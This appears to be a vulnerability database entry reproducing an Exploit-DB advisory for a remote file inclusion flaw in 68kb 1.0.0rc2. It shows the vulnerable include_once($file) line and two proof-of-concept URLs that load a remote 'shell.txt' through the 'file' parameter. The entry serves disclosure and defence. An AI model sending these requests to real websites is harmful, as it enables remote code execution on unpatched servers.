68kb

vendor:

68kb

by:

ItSecTeam

7,5

CVSS

HIGH

Multi Remote File Include

CWE

Product Name: 68kb

Affected Version From: 1.0.0rc2

Affected Version To: 1.0.0rc2

Patch Exists: NO

Related CWE: N/A

CPE: 68kb

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'file' parameter to 'show.php' script. A remote attacker can include a remote file with malicious code and execute it in the context of the vulnerable website.

Mitigation:

Input validation should be used to prevent the inclusion of malicious files.

Source

Exploit-DB raw data:

===========================================================================
( #Topic : 68kb
( #Bug type : multi remote file include
( #Download : http://68kb.googlecode.com/files/68kb-v1.0.0rc2.zip
( #Advisory :
===========================================================================
( #Author : ItSecTeam
( #Email : Bug@ITSecTeam.com #
( #Website: http://www.itsecteam.com #
( #Forum : http://forum.ITSecTeam.com #
( #Original Advisory:
www.ITSecTeam.com/en/vulnerabilities/vulnerability27.htm
( #Special Tnx : ahmadbady , M3hr@n.S And All Team Members!


vul:===================================================================
path/themes/front/default/modules/show.php
<?php include_once($file); ?>
vul:===================================================================
path/themes/admin/default/modules/show.php
<?php include_once($file); ?>
---------------------------------------------------------------------
exploit:================================================================

path/themes/front/default/modules/show.php?file=shell.txt?
path/themes/admin/default/modules/show.php?file=shell.txt?

--------------------------------------